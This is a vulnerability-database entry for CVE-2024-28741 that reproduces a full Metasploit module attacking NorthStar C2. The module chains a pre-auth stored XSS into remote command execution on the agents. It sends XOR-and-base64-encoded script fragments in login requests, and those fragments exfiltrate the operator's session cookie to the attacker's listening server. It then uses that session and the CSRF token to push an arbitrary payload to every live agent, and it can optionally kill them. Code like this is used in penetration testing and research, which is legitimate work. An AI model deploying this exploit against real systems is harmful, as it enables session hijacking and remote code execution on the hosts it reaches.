Lucene search
+L

NorthStar C2 XSS to Agent RCE

🗓️ 12 Mar 2024 00:00:00Reported by h00die, chebuyaType 
metasploit
 metasploit
🔗 www.rapid7.com👁 298 Views

NorthStar C2 XSS vulnerability allows unauthenticated user to simulate agent registration and execute RCE

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
NorthStar C2 Agent 1.0 Cross Site Scripting / Remote Command Execution Exploit
12 Mar 202400:00
–zdt
githubexploit
GithubExploit
Exploit for CVE-2024-28741
12 Mar 202401:40
–githubexploit
bdu_fstec
BDU FSTEC
log management page Code Execution
8 Apr 202400:00
–bdu_fstec
circl
Circl
CVE-2024-28741
15 Mar 202420:28
–circl
cnnvd
CNNVD
NorthStarC2 Cross-Site Scripting Vulnerability
6 Apr 202400:00
–cnnvd
cve
CVE
CVE-2024-28741
6 Apr 202400:00
–cve
cvelist
Cvelist
CVE-2024-28741
6 Apr 202400:00
–cvelist
kitploit
Kitploit
CVE-2024-28741-northstar-agent-rce-poc
18 Oct 202622:41
–kitploit
nvd
NVD
CVE-2024-28741
6 Apr 202419:15
–nvd
packetstorm
Packet Storm
NorthStar C2 Agent 1.0 Cross Site Scripting / Remote Command Execution
12 Mar 202400:00
–packetstorm
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'NorthStar C2 XSS to Agent RCE',
        'Description' => %q{
          NorthStar C2, prior to commit 7674a44 on March 11 2024, contains a vulnerability where the logs page is
          vulnerable to a stored xss.
          An unauthenticated user can simulate an agent registration to cause the XSS and take over a users session.
          With this access, it is then possible to run a new payload on all of the NorthStar C2 compromised hosts
          (agents), and kill the original agent.

          Successfully tested against NorthStar C2 commit e7fdce148b6a81516e8aa5e5e037acd082611f73 running on
          Ubuntu 22.04. The agent was running on Windows 10 19045.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'chebuya' # original PoC, analysis
        ],
        'DefaultOptions' => {
          'URIPATH' => '/' # avoid long URLs due to 20char limit in xss payloads
        },
        'References' => [
          [ 'URL', 'https://blog.chebuya.com/posts/discovering-cve-2024-28741-remote-code-execution-on-northstar-c2-agents-via-pre-auth-stored-xss/' ],
          [ 'URL', 'https://github.com/chebuya/CVE-2024-28741-northstar-agent-rce-poc' ],
          [ 'URL', 'https://github.com/EnginDemirbilek/NorthStarC2/commit/7674a4457fca83058a157c03aa7bccd02f4a213c'],
          [ 'CVE', '2024-28741']
        ],
        'Platform' => ['win'],
        'Privileged' => false,
        'Arch' => ARCH_CMD,
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DisclosureDate' => '2024-03-12',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [EVENT_DEPENDENT],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [ true, 'The URI of the NorthStar C2 Application', '/']),
        OptBool.new('KILL', [ false, 'Kill the NorthStar C2 agent', false])
      ]
    )
  end

  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'getin.php'),
      'method' => 'GET'
    )
    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
    return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200

    return CheckCode::Detected('NorthStar Login page detected') if res.body.include? '<title>The NorthStar Login</title>'

    CheckCode::Safe('NorthStar C2 Login page not detected')
  end

  def steal_agents(cookie)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'clients.php'),
      'headers' => {
        'cookie' => "PHPSESSID=#{cookie}"
      }
    )
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    soup = Nokogiri::HTML(res.body)
    rows = soup.css('tr')

    agent_table = Rex::Text::Table.new(
      'Header' => 'Live Agents',
      'Indent' => 1,
      'Columns' =>
        [
          'ID',
          'IP',
          'OS',
          'Username',
          'Hostname',
          'Status'
        ]
    )

    rows.each do |row|
      cells = row.css('td')
      next if cells.length != 9

      status = cells[7].text.strip
      next if status != 'Online'

      agent_id = cells[1].text.strip
      agent_ip = cells[2].text.strip
      hostname = cells[5].text.strip

      agent_table << [agent_id, agent_ip, cells[3].text.strip, cells[4].text.strip, hostname, cells[7].text.strip]
      report_host(host: agent_ip, name: hostname, os_name: cells[3].text.strip, info: "Northstar C2 Agent Deployed, callback: #{datastore['RHOST']}")
    end

    fail_with(Failure::NotFound, 'No live agents to exploit') if agent_table.rows.empty?

    print_good(agent_table.to_s)

    script_tags = soup.css('script')

    csrf_token = nil
    script_tags.each do |script_tag|
      if script_tag.text.include?('csrfToken')
        csrf_token = script_tag.text.split('"')[1]
        break
      end
    end

    fail_with(Failure::UnexpectedReply, "#{peer} - Unable to find CSRF token") unless csrf_token

    vprint_good("CSRF Token: #{csrf_token}")

    agent_table.rows.each do |agent|
      agent_id = agent[0]
      hostname = agent[4]
      print_status("(#{agent_id}) Stealing #{hostname}")

      vprint_status("  (#{agent_id}) Enabling shell mode")
      agent_exec(agent_id, csrf_token, cookie, 'enablecmd')
      vprint_status("  (#{agent_id}) Running payload")
      agent_exec(agent_id, csrf_token, cookie, payload.encoded)
      vprint_status("  (#{agent_id}) Disabling shell mode")
      agent_exec(agent_id, csrf_token, cookie, 'disablecmd')
      next unless datastore['KILL']

      vprint_status("  (#{agent_id}) Killing NorthStar payload")
      agent_exec(agent_id, csrf_token, cookie, 'die')
    end
  end

  def agent_exec(agent_id, csrf_token, cookie, command)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'functions', 'setCommand.nonfunction.php'),
      'method' => 'POST',
      'headers' => {
        'cookie' => "PHPSESSID=#{cookie}"
      },
      'vars_post' => {
        'slave' => agent_id,
        'command' => command,
        'sid' => agent_id,
        'token' => csrf_token
      }
    )
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?

    # 1min seems enough, NorthStar mentions 4_000ms response times...
    (2 * 60).times do
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'getresponse.php'),
        'headers' => {
          'cookie' => "PHPSESSID=#{cookie}"
        },
        'vars_get' => {
          'slave' => agent_id
        }
      )
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
      if !res.body.empty? || command == 'die'
        vprint_good("    Command sent successfully to agent #{agent_id}, response: #{res.body}")
        return
      end
      Rex.sleep(0.5)
    end
  end

  def on_request_uri(cli, request)
    if request.method == 'GET' && @xss_response_received == false
      vprint_status('Received GET request.')
      return unless request.uri.include? '='

      cookie = request.uri.split('PHPSESSID=')[1]
      print_good("Received cookie: #{cookie}")
      send_response_html(cli, '')
      @xss_response_received = true
      steal_agents(cookie)
    end
    send_response_html(cli, '')
  end

  def xor_strings(text, key)
    text.chars.map.with_index { |char, i| (char.ord ^ key[i % key.length].ord).chr }.join
  end

  def primer
    @xss_response_received = false
    vprint_status('Sending XSS')
    # divide up the host length so that it fits in our payload
    host = srvhost_addr
    h1 = host[0...host.length / 2]
    h2 = host[host.length / 2..]
    sid_payloads = ['*/</script><', '*/i.src=u/*', '*/new Image;/*', '*/var i=/*', "*/s+h+p+'/'+c;/*", '*/var u=/*', "*/'http://';/*", '*/var s=/*', "*/':#{srvport}';/*", '*/var p=/*', '*/a+b;/*', '*/var h=/*', "*/'#{h2}';/*", '*/var b=/*', "*/'#{h1}';/*", '*/var a=/*', '*/d.cookie;/*', '*/var c=/*', '*/document;/*', '*/var d=/*', '</td><script>/*']
    sid_payloads.each do |pload|
      pload = "N#{pload}q"
      vprint_status("Sending: #{pload}")
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'login.php'),
        'method' => 'POST',
        'vars_get' => {
          'sid' => Rex::Text.encode_base64(xor_strings(pload, 'northstar'))
        }
      )

      fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
      fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code received: #{res.code}") unless res.code == 200
    end
    print_status('Waiting on XSS execution')
  end

  def exploit
    fail_with(Failure::BadConfig, 'SRVPORT and FETCH_SRVPORT must be different') if datastore['SRVPORT'] == datastore['FETCH_SRVPORT']
    super
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Mar 2024 00:00Current
7.9High risk
Vulners AI Score7.9
CVSS 3.18.8
EPSS0.78158
SSVC
298